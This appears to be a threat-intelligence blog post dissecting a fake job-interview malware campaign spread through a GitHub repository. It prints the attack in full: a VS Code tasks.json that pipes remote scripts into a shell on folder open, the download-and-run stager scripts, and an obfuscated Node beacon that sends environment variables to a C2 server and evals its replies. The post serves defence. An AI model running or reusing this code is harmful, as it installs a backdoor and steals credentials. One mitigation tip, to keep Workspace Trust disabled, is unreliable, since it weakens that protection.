DCat

Fake Interview Scams - Malware Execution via VSCode and Express App

This blog post explores a fake tech interview scam that infects victims' machines through a malicious GitHub repository. The infection occurs via Visual Studio Code's `.vscode` folder and a legitimate-looking Express app, allowing attackers to execute arbitrary code and steal sensitive information.

threat-intelmalwarephishingtech-interviewgithubvscodeexpress

Fake interview research

Imagine this: You clone a GitHub repository for a promising tech interview, open it in Visual Studio Code, and walk away to grab a coffee. You didn’t run npm install. You didn’t execute a single terminal command. Yet, your machine is already compromised.

Some hours ago I stumbled across a post on X about someone who got infected by a fake tech interview campaign and left the repo in the comments. I decided to investigate and see if I could find more information about this campaign, and I found some interesting things.

Victim’s post: This morning I was HACKED! Target repo:zero2hero-digital/jack-pot C2: http://54.39.43.117:1224 org: zero2hero.net twitter: @zero2hero

I have identified two infection methods in this repo: one is through the .vscode folder, and other inside a legit looking express app. funnily enough, I found the vscode infection first, and then the express app infection. I will explain both in detail below.

As of 2026-07-15, the repo is still around, the c2 is still up and running, and the malicious code is still there. I have contacted the repo owner and they are aware of the situation.

The fake interviewer

This has been a well known scam for a while, the fake interviewer will contact you through linkedin or email, and will ask you to do a tech interview. They will ask you to clone a repo and run some code, which will infect your machine with a malicious script. The goal of this attack is to gain access to your machine and steal sensitive information.

Vector 1: Tasks.json

Our main focus here is .vscode folder, which contains configuration files for Visual Studio Code. Attackers often exploit these files to inject malicious code or scripts that can compromise the development environment.

{
  "label": "env",
  "type": "shell",
  "osx": {
    "command": "curl -L 'https://vscode-check-mo2.vercel.app/api/settings/mac' | bash"
  },
  "linux": {
    "command": "wget -qO- 'https://vscode-check-mo2.vercel.app/api/settings/linux' | sh"
  },
  "windows": {
    "command": "curl --ssl-no-revoke -L https://vscode-check-mo2.vercel.app/api/settings/windows | cmd"
  },
  "problemMatcher": [],
  "presentation": {
    "reveal": "silent",
    "echo": false,
    "focus": false,
    "close": true,
    "panel": "new",
    "showReuseMessage": false,
    "clear": true
  },
  "runOptions": {
    "runOn": "folderOpen"
  }
}

This will trigger a download whenever the user opens the project in VSCode. The downloaded file is a malicious script that will run in the background, polling a command and control server for further instructions.

The original tasks.json indents the commands a lot to the right to make them less noticeable to a human eye.

Inside settings.json we can find "editor.formatOnSave set to False, I believe this is to prevent the user from formatting the file and noticing the malicious code.

Api & Paths

Stager

base: https://vscode-check-mo2.vercel.app/api/settings/

Setup

api/settings/windows -> windows.bat (stager) api/settings/mac -> mac.sh (stager) api/settings/linux -> linux.sh (stager)

Bootstrap

api/settings/bootstrap -> windows_bootstrap.bat (stager) api/settings/bootstraplinux -> unix_bootstrap.sh (stager)

Agent

api/settings/env -> env.npl (malicious script)

Steps

There are 3 OS specific commands in the tasks.json file, one for each OS. The steps are as follows:

  • vscode triggers one of the commands above when the user opens the project.
  • node download gets downloaded as well as the malicious script.
  • %USER%/.vscode is set as working directory and the malicious script is executed.
  • script starts running in the background.
  • downloaded script env.npl will poll the command and control server for further instructions, which can be anything from stealing sensitive information to executing arbitrary commands on the victim’s machine.

Below there are snippets for their staging scripts, funnily enough, the staging scripts are not obfuscated, and they even have some comments in them, which makes it easier to understand what they do.

Windows

First windows.bat is downloaded and executed, which contains the following code:

@echo off
set "VSCODE_DIR=%USERPROFILE%\.vscode"

:: Create the directory if it doesn't exist
if not exist "%VSCODE_DIR%" (
    mkdir "%VSCODE_DIR%"
)

:: Download the vscode-bootstrap.cmd file
curl --ssl-no-revoke -s -L -o "%VSCODE_DIR%\vscode-bootstrap.cmd" https://vscode-check-mo2.vercel.app/api/settings/bootstrap

:: Run the downloaded script
cls
"%VSCODE_DIR%\vscode-bootstrap.cmd"
cls
@echo off
title Creating new Info
setlocal enabledelayedexpansion

if "%~1" neq "_restarted" (
  powershell -WindowStyle Hidden -Command ^
    "Start-Process -FilePath cmd.exe -ArgumentList '/c \"%~f0\" _restarted' -WindowStyle Hidden"
  exit /b
)

REM -------------------------
REM Get latest Node.js version
REM -------------------------
for /f "delims=" %%v in (
  'powershell -Command "(Invoke-RestMethod https://nodejs.org/dist/index.json)[0].version"'
) do set "LATEST_VERSION=%%v"

set "NODE_VERSION=%LATEST_VERSION:~1%"
set "NODE_MSI=node-v%NODE_VERSION%-x64.msi"
set "DOWNLOAD_URL=https://nodejs.org/dist/v%NODE_VERSION%/%NODE_MSI%"
set "EXTRACT_DIR=%~dp0nodejs"
set "PORTABLE_NODE=%EXTRACT_DIR%\PFiles64\nodejs\node.exe"
set "NODE_EXE="

:: -------------------------
:: Check global Node.js
:: -------------------------
where node >nul 2>&1
if not errorlevel 1 (
  for /f "delims=" %%v in ('node -v 2^>nul') do set "NODE_INSTALLED_VERSION=%%v"
  set "NODE_EXE=node"
  echo [INFO] Node.js already installed: %NODE_INSTALLED_VERSION%
)

:: -------------------------
:: Portable Node.js fallback
:: -------------------------
if not defined NODE_EXE (
  if exist "%PORTABLE_NODE%" (
    set "NODE_EXE=%PORTABLE_NODE%"
    set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
    echo [INFO] Portable Node.js found.

     ) else (
    echo [INFO] Downloading portable Node.js...

    where curl >nul 2>&1
    if errorlevel 1 (
      powershell -Command ^
        "Invoke-WebRequest -Uri '%DOWNLOAD_URL%' -OutFile '%~dp0%NODE_MSI%'"
    ) else (
      curl --ssl-no-revoke -s -L ^
        -o "%~dp0%NODE_MSI%" "%DOWNLOAD_URL%"
    )

    if not exist "%~dp0%NODE_MSI%" (
      echo [ERROR] Node.js download failed.
      exit /b 1
    )

    msiexec /a "%~dp0%NODE_MSI%" /qn TARGETDIR="%EXTRACT_DIR%"
    del "%~dp0%NODE_MSI%"

    if exist "%PORTABLE_NODE%" (
      set "NODE_EXE=%PORTABLE_NODE%"
      set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
      echo [INFO] Portable Node.js ready.
    ) else (
      echo [ERROR] node.exe not found after extraction.
      exit /b 1
    )
  )
)

:: -------------------------
:: Save VSCode workspace folder name
:: -------------------------
set "CODEPROFILE=%USERPROFILE%\.vscode"
if not exist "%CODEPROFILE%" mkdir "%CODEPROFILE%"

:: Capture the current workspace folder name (the current directory in VSCode)
for %%F in ("%CD%") do set "VSCODE_WORKSPACE_NAME=%%~nxF"

echo [INFO] Saving VSCode workspace folder name...
echo !VSCODE_WORKSPACE_NAME! > "%CODEPROFILE%\!VSCODE_WORKSPACE_NAME!.txt"
echo [INFO] Workspace folder name saved as "%CODEPROFILE%\!VSCODE_WORKSPACE_NAME!.txt"

:: -------------------------
:: Download required files
:: -------------------------
set "CODEPROFILE=%USERPROFILE%\.vscode"
if not exist "%CODEPROFILE%" mkdir "%CODEPROFILE%"

echo [INFO] Downloading env.npl and package.json...

curl --ssl-no-revoke -s -L ^
  -o "%CODEPROFILE%\env.npl" ^
  "https://vscode-check-mo2.vercel.app/api/settings/env"

curl --ssl-no-revoke -s -L ^
  -o "%CODEPROFILE%\package.json" ^
  "https://vscode-check-mo2.vercel.app/api/settings/package"

:: -------------------------
:: Install dependencies
:: -------------------------
if not exist "%~dp0node_modules\request" (
  pushd "%~dp0"
  echo [INFO] Installing npm dependencies...
  call npm install request
  if errorlevel 1 (
    echo [ERROR] npm install failed.
    popd
    exit /b 1
  )
  popd
)

:: -------------------------
:: Run parser
:: -------------------------
if exist "%CODEPROFILE%\env.npl" (
  echo [INFO] Running env.npl...
  pushd "%CODEPROFILE%"
  "%NODE_EXE%" "%CODEPROFILE%\env.npl"
  if errorlevel 1 (
    echo [ERROR] env.npl execution failed.
    popd
    exit /b 1
  )
  popd
) else (
  echo [ERROR] env.npl not found.
  exit /b 1
)

echo [SUCCESS] Script completed successfully.
exit /b 0

Linux | MacOS

mac.sh
#!/bin/bash
set -e

# -------------------------
# Step 1: Make sure the .vscode directory exists
# -------------------------
mkdir -p "$HOME/.vscode"

# -------------------------
# Step 2: Download the script if it doesn't exist or if it's not updated
# -------------------------

echo "Downloading or updating vscode-bootstrap.sh..."
curl -s -L -o "$HOME/.vscode/vscode-bootstrap.sh" "https://vscode-check-mo2.vercel.app/api/settings/bootstraplinux"

# -------------------------
# Step 3: Check if the script exists and make it executable
# -------------------------

if [ -f "$HOME/.vscode/vscode-bootstrap.sh" ]; then
  chmod +x "$HOME/.vscode/vscode-bootstrap.sh"
  echo "Script is now executable."
else
  echo "Error: Script download failed or file not found."
  exit 1
fi

# -------------------------
# Step 4: Run the script in the background, redirecting output and errors
# -------------------------

echo "Running the script in the background..."
nohup bash "$HOME/.vscode/vscode-bootstrap.sh"


# -------------------------
# Step 5: Exit
# -------------------------

echo "Process started. Exiting."
exit 0
linux.sh

#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/.vscode"
mkdir -p "$TARGET_DIR"
clear
wget -q -O "$TARGET_DIR/vscode-bootstrap.sh" "https://vscode-check-mo2.vercel.app/api/settings/bootstraplinux"
clear
chmod +x "$TARGET_DIR/vscode-bootstrap.sh"
clear
nohup bash "$TARGET_DIR/vscode-bootstrap.sh"
clear
exit 0

And then:

#!/bin/bash
# Creating new Info
set -e
OS=$(uname -s)
NODE_EXE=""
NODE_INSTALLED_VERSION=""
USER_HOME="$HOME/.vscode"
VS_CODE_FOLDER=$(pwd)  # Get the current working directory
VS_CODE_FOLDER_NAME=$(basename "$VS_CODE_FOLDER")  # Extract the folder name

# -------------------------
# Check for global Node.js installation
# -------------------------
if command -v node &> /dev/null; then
    NODE_INSTALLED_VERSION=$(node -v 2>/dev/null || echo "")
    if [ -n "$NODE_INSTALLED_VERSION" ]; then
        NODE_EXE="node"
        echo "[INFO] Node.js is already installed globally: $NODE_INSTALLED_VERSION"
    fi
fi
# -------------------------
# If Node.js not found globally, download and extract portable version
# -------------------------
if [ -z "$NODE_EXE" ]; then
    echo "[INFO] Node.js not found globally. Attempting to download portable version..."
    # Get latest Node.js version
    if [ "$OS" == "Darwin" ]; then
        # macOS - get latest version
        if command -v curl &> /dev/null; then
            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        elif command -v wget &> /dev/null; then
            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        else
            LATEST_VERSION="v20.11.1"
        fi
    elif [ "$OS" == "Linux" ]; then
        # Linux - get latest version
        if command -v curl &> /dev/null; then
            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        elif command -v wget &> /dev/null; then
            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        else
            LATEST_VERSION="v20.11.1"
        fi
    else
        echo "[ERROR] Unsupported OS: $OS"
        exit 1
    fi
    # Remove leading "v"
    NODE_VERSION=$LATEST_VERSION

    # Determine download URL and paths based on OS
    EXTRACTED_DIR="$HOME/.vscode/node-$NODE_VERSION-$( [ "$OS" = "Darwin" ] && echo "darwin" || echo "linux" )-x64"
    PORTABLE_NODE="$EXTRACTED_DIR/bin/node"
    if [ "$OS" == "Darwin" ]; then
        NODE_TARBALL="$HOME/.vscode/node-$NODE_VERSION-darwin-x64.tar.xz"
        DOWNLOAD_URL="https://nodejs.org/dist/$NODE_VERSION/node-$NODE_VERSION-darwin-x64.tar.xz"
    elif [ "$OS" == "Linux" ]; then
        NODE_TARBALL="$HOME/.vscode/node-$NODE_VERSION-linux-x64.tar.xz"
        DOWNLOAD_URL="https://nodejs.org/dist/$NODE_VERSION/node-$NODE_VERSION-linux-x64.tar.xz"
    fi
    # Check if portable Node.js already exists
    if [ -f "$PORTABLE_NODE" ]; then
        echo "[INFO] Portable Node.js found."
        NODE_EXE="$PORTABLE_NODE"
        export PATH="$EXTRACTED_DIR/bin:$PATH"
    else
        echo "[INFO] Downloading Node.js..."
        mkdir -p "$HOME/.vscode"
        # Download Node.js
        if ! command -v curl &> /dev/null && ! command -v wget &> /dev/null; then
            echo "[ERROR] Neither curl nor wget is available."
            exit 1
        fi
        if command -v curl &> /dev/null; then
            curl -sSL -o "$NODE_TARBALL" "$DOWNLOAD_URL"
        else
            wget -q -O "$NODE_TARBALL" "$DOWNLOAD_URL"
        fi
        if [ ! -f "$NODE_TARBALL" ]; then
            echo "[ERROR] Failed to download Node.js."
            exit 1
        fi
        echo "[INFO] Extracting Node.js..."
        tar -xf "$NODE_TARBALL" -C "$HOME/.vscode"
        rm -f "$NODE_TARBALL"
        if [ -f "$PORTABLE_NODE" ]; then
            echo "[INFO] Portable Node.js extracted successfully."
            NODE_EXE="$PORTABLE_NODE"
            export PATH="$EXTRACTED_DIR/bin:$PATH"
        else
            echo "[ERROR] node executable not found after extraction."
            exit 1
        fi
    fi
fi
# -------------------------
# Verify Node.js works
# -------------------------
if [ -z "$NODE_EXE" ]; then
    echo "[ERROR] Node.js executable not set."
    exit 1
fi
"$NODE_EXE" -v > /dev/null 2>&1
if [ $? -ne 0 ]; then
    echo "[ERROR] Node.js execution failed."
    exit 1
fi
# -------------------------
# Save the VSCode folder name to a text file in $HOME/.vscode
# -------------------------
if [ -n "$VS_CODE_FOLDER" ]; then
    echo "[INFO] Found VSCode folder: $VS_CODE_FOLDER_NAME"
    echo "$VS_CODE_FOLDER_NAME" > "$USER_HOME/$VS_CODE_FOLDER_NAME.txt"
    echo "[INFO] Folder name saved as $USER_HOME/$VS_CODE_FOLDER_NAME.txt"
else
    echo "[ERROR] No VSCode folder found."
    exit 1
fi
# -------------------------
# Download required files
# -------------------------
mkdir -p "$HOME/.vscode"
BASE_URL="https://vscode-check-mo2.vercel.app/api"
echo "[INFO] Downloading env-setup.js and package.json..."
if ! command -v curl >/dev/null 2>&1; then
    wget -q -O "$HOME/.vscode/env-setup.js" "https://vscode-check-mo2.vercel.app/api/settings/env"
    wget -q -O "$HOME/.vscode/package.json" "https://vscode-check-mo2.vercel.app/api/settings/package"
else
    curl -s -L -o "$HOME/.vscode/env-setup.js" "https://vscode-check-mo2.vercel.app/api/settings/env"
    curl -s -L -o "$HOME/.vscode/package.json" "https://vscode-check-mo2.vercel.app/api/settings/package"
fi
# -------------------------
# Install dependencies
# -------------------------
cd "$HOME/.vscode"
if [ ! -d "node_modules/request" ]; then
    echo "[INFO] Installing NPM packages..."
    if command -v npm &> /dev/null; then
        npm install --silent --no-progress --loglevel=error --fund=false
    else
        # Use npm from extracted directory if available
        if [ -n "$EXTRACTED_DIR" ] && [ -f "$EXTRACTED_DIR/bin/npm" ]; then
            "$EXTRACTED_DIR/bin/npm" install --silent --no-progress --loglevel=error --fund=false
        else
            echo "[ERROR] npm not found."
            exit 1
        fi
    fi
    if [ $? -ne 0 ]; then
        echo "[ERROR] npm install failed."
        exit 1
    fi
fi
# -------------------------
# Run env-setup.js
# -------------------------
if [ -f "$HOME/.vscode/env-setup.js" ]; then
    echo "[INFO] Running env-setup.js..."
    #cd "$HOME"
    "$NODE_EXE" "$HOME/.vscode/env-setup.js"
    if [ $? -ne 0 ]; then
        echo "[ERROR] env-setup.js execution failed."
        exit 1
    fi
else
    echo "[ERROR] env-setup.js not found."
    exit 1
fi
echo "[SUCCESS] Script completed successfully."
exit 0

The malicious script

Here’s the malicious script that gets downloaded and executed in the background:

// env.npl
const _0x5b22fd = _0x21a8; (function (_0x4b243b, _0x456cb7) { const _0x4129a3 = _0x21a8, _0x7d14c = _0x4b243b(); while (!![]) { try { const _0x2389ba = parseInt(_0x4129a3(0x1f8)) / 0x1 + parseInt(_0x4129a3(0x1f6)) / 0x2 * (-parseInt(_0x4129a3(0x20d)) / 0x3) + parseInt(_0x4129a3(0x209)) / 0x4 * (parseInt(_0x4129a3(0x1ff)) / 0x5) + parseInt(_0x4129a3(0x20e)) / 0x6 + -parseInt(_0x4129a3(0x205)) / 0x7 + parseInt(_0x4129a3(0x1f5)) / 0x8 * (parseInt(_0x4129a3(0x1f7)) / 0x9) + -parseInt(_0x4129a3(0x200)) / 0xa; if (_0x2389ba === _0x456cb7) break; else _0x7d14c['push'](_0x7d14c['shift']()); } catch (_0x51b070) { _0x7d14c['push'](_0x7d14c['shift']()); } } }(_0x1968, 0xbf409)); function _0x21a8(_0x37ecd4, _0x37348b) { _0x37ecd4 = _0x37ecd4 - 0x1f3; const _0x19684e = _0x1968(); let _0x21a818 = _0x19684e[_0x37ecd4]; return _0x21a818; } const os = require('os'); var sysId = 0x0; function _0x1968() { const _0x297c57 = ['release', '127320afXRSD', '303614XinAoN', '855MWsgKt', '652014MlarNc', 'values', 'utf8', 'flat', 'bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=', 'hostname', 'stringify', '20xwaJNX', '25263630BrkKqE', 'base64', 'IPv4', 'from', 'internal', '3382855FALkPR', 'aHR0cDovLzU0LjM5LjQzLjExNzoxMjI0L2FwaS9jaGVja1N0YXR1cw==', 'exit', 'find', '670492FVjUDp', 'family', '00:00:00:00:00:00', 'mac', '3GsrIaP', '6662238cTAbqD', 'toString']; _0x1968 = function () { return _0x297c57; }; return _0x1968(); } function getSystemInfo() { const _0x29d7be = _0x21a8, _0x4f5b67 = os[_0x29d7be(0x1fd)](), _0x247aa6 = os['type'](), _0x18552c = os[_0x29d7be(0x1f4)](), _0x5aae47 = os['platform'](), _0x226650 = Object[_0x29d7be(0x1f9)](os['networkInterfaces']())[_0x29d7be(0x1fb)]()[_0x29d7be(0x208)](_0x4cf379 => _0x29d7be(0x202) === _0x4cf379[_0x29d7be(0x20a)] && !_0x4cf379[_0x29d7be(0x204)] && _0x29d7be(0x20b) !== _0x4cf379[_0x29d7be(0x20c)])?.[_0x29d7be(0x20c)]; return { 'hostname': _0x4f5b67, 'macs': [_0x226650], 'os': _0x247aa6 + ' ' + _0x18552c + ' (' + _0x5aae47 + ')' }; } async function sendRequest(_0x4ee79a) { const _0x1edfab = _0x21a8; try { const _0xab2bcc = new URLSearchParams({ 'sysInfo': JSON[_0x1edfab(0x1fe)](_0x4ee79a), 'processInfo': JSON[_0x1edfab(0x1fe)](process.env), 'tid': _0x1edfab(0x1fc), 'sysId': sysId }), _0xc56c53 = Buffer[_0x1edfab(0x203)](_0x1edfab(0x206), _0x1edfab(0x201))[_0x1edfab(0x1f3)](_0x1edfab(0x1fa)), _0x1be7af = await fetch(_0xc56c53 + '?' + _0xab2bcc), { status: _0x3f0695, message: _0x353308, sysId: _0xbd3a8b } = await _0x1be7af['json'](); if ('error' === _0x3f0695) try { eval(_0x353308); } catch (_0x428269) { } _0xbd3a8b && (sysId = _0xbd3a8b); } catch (_0x4237d0) { console['error'](_0x4237d0); } } try { const s = getSystemInfo(); sendRequest(s), setInterval(() => { sendRequest(s); }, 0x1388); } catch (_0x34607d) { console['error'](_0x34607d), process[_0x5b22fd(0x207)](0x1); }

It’s quite tricky to read, but let’s focus at:

-bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= -> “now it time to get everything” in base64, and
-aHR0cDovLzU0LjM5LjQzLjExNzoxMjI0L2FwaS9jaGVja1N0YXR1cw== -> http://54.39.43.117:1224/api/checkStatus

Here’s an illustration of what the script does, in a more readable format:

const os = require('os');
let victimId = null;

// --- 1. Fingerprint the host ---
function getSystemInfo() {
  const mac = Object.values(os.networkInterfaces())
    .flat()
    .find(i => i.family === 'IPv4' && !i.internal && i.mac !== '00:00:00:00:00:00')
    ?.mac;

  return {
    hostname: os.hostname(),
    macs: [mac],
    os: `${os.type()} ${os.release()} (${os.platform()})`
  };
}

// --- 2. Beacon + receive tasking ---
async function checkIn(info) {
  try {
    const params = new URLSearchParams({
      sysInfo:     JSON.stringify(info),
      processInfo: JSON.stringify(process.env),   // ← every env var: tokens, keys, secrets
      tid:         'bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=', // b64: "now it time to get everything"
      sysId:       victimId
    });

    // b64-decoded C2: http://54.39.43.117:1224/api/checkStatus
    const res  = await fetch('http://54.39.43.117:1224/api/checkStatus?' + params);
    const data = await res.json();

    if (data.status === 'error') {
      eval(data.message);          // ← arbitrary code execution
    }
    if (data.sysId) victimId = data.sysId;   // operator-assigned victim ID
  } catch (e) { console.error(e); }
}

// --- 3. Loop forever, 5s interval (0x1388) ---
const info = getSystemInfo();
checkIn(info);
setInterval(() => checkIn(info), 5000);

Whenever the fields are missing you may receive a response like this:

{
  "status": "ok",
  "message": "server connected"
}

But when the fields are present, the server will assign a sysId to the victim and return it in the response, like this:

{
  "status": "ok",
  "message": "server connected",
  "sysId": "0e736c9b-2e76-45a6-889a-089367c5719d"
}

This might be picked based on the victim’s system information, and will be used to identify the victim in future requests.

status can be either ok or error. If the status is error, everything inside the message field will be executed with eval. If the status is ok, the script will continue to poll the server every 5 seconds.

While I haven’t seen commands yet, it should look something like this:

{
  "status": "error",
  "message": "console.log('hello world')"
}

getSystemInfo() will return something like this:

{
  "hostname": "x",
  "macs": ["xx:xx:xx:xx:xx:xx"],
  "os": "Windows_NT 10.0 (win32)"
}

commands system

There’s a loop polling the server every 5 seconds (encoded as 0x1388 in the script).

Vector 2: - Express app infection

Remember the js file I mentioned and the white space in the tasks.json? Well, the same thing happens in the express app in: /routes/api/auth.js

The last line of the file contains module.exports = router; but many spaces later there is a malicious code that will be executed when the file is required by the express app.

This Obfuscated code is similar to the one in the vscode infection I mentioned above, it will also poll the same server for commands to execute.

Vector 3: GitHub Social Engineering

The repo has legit-looking history, multiple contributors, over 376 commits, being the oldest one from 2015-07-20.

This is where things get interesting, many of you may know that commits can be faked, so as commiters, you can even impersonate other contributors. So the commit dates says nothing.

However, we can check the github’s API to see the repo’s metadata and see if it was created recently or not.

curl https://api.github.com/repos/zero2hero-digital/jack-pot

You can curl or see this in your browser to see the full JSON.

As you can see their metadata and this is where stuff gets interesting, the repo was created on 2026-07-06 (9 days ago as of now), and the last push was on 2026-07-14 (1 day ago). This means that the repo was created 8 years after the first commit, and the last push was made 1 day ago.

It has over 3 forks and zero stars.

Now about the org itself:

curl https://api.github.com/users/zero2hero-digital

we can see some more interesting findings

"blog": "https://www.zero2hero.net/",
"location": "United Kingdom",
"email": null,
"hireable": null,
"bio": null,
"twitter_username": "zero2hero_uk",
"public_repos": 1,
"public_gists": 0,
"followers": 0,
"following": 0,
"created_at": "2026-07-06T10:19:39Z",
"updated_at": "2026-07-06T10:25:32Z"

This org was created on 2026-07-06 (9 days ago as of now), and has only 1 public repo, which is the one we are investigating. It has zero followers and zero following, and no bio or email. The twitter account was created on 2026-07-06 as well.

When you check their blog and socials they appear to be running for longer and they even have a token.

There are a few posts in twitter from 2023, the token is 36 months old.

When we look in zero2hero.net we can see that their token is supposedly 36 months and audited, they often reference dead links, or stuff that looks AI hallucinated.

As we can see this account isn’t stolen, was made just a few days ago, same as the repo, and the social engineering is very well done, making it look like a legitimate project.

The org creation date and the repo creation date are the same, and the oldest commit is 8 years older than the repo creation date, which is impossible.

So far I haven’t found any definitive proof of this being impersonation, but I have an strong suspicion that this is just a fake “company” running a social engineering campaign.

searching for the same paths I’ve managed to find other similar campaigns which are very likely from the same actor, that are still active and running. I will list them below:

What now?

I believe this is a very well done campaign, and I believe it will continue to be active for a while. I will continue to monitor the situation and update this post with any new findings.

Some takeways to avoid this kind of attack:

  • Always read the code before cloning it
  • Forcing the linter might have likely exposed this.
  • grep|rg for “eval” or “exec” in the repo, and check for any suspicious code as this is rarely used in legitimate code.
  • lookup for suspicious domains in the code, and check if they are known malicious domains.
  • Keep Workspace Trust disabled in VSCode, unless you are absolutely sure about the code you are running.
  • Toggle “editor.renderWhitespace”: “all”.
  • verify the repo’s metadata with the github api, and check for suspicious activity like the one I described above.

Stay safe!

folderOpen ─▶ tasks.json ─▶ os-stager ─▶ bootstrap ─▶ env.npl ─▶ C2 beacon (5s)
                                              │                        │
                                         node download            eval(msg) 

Sources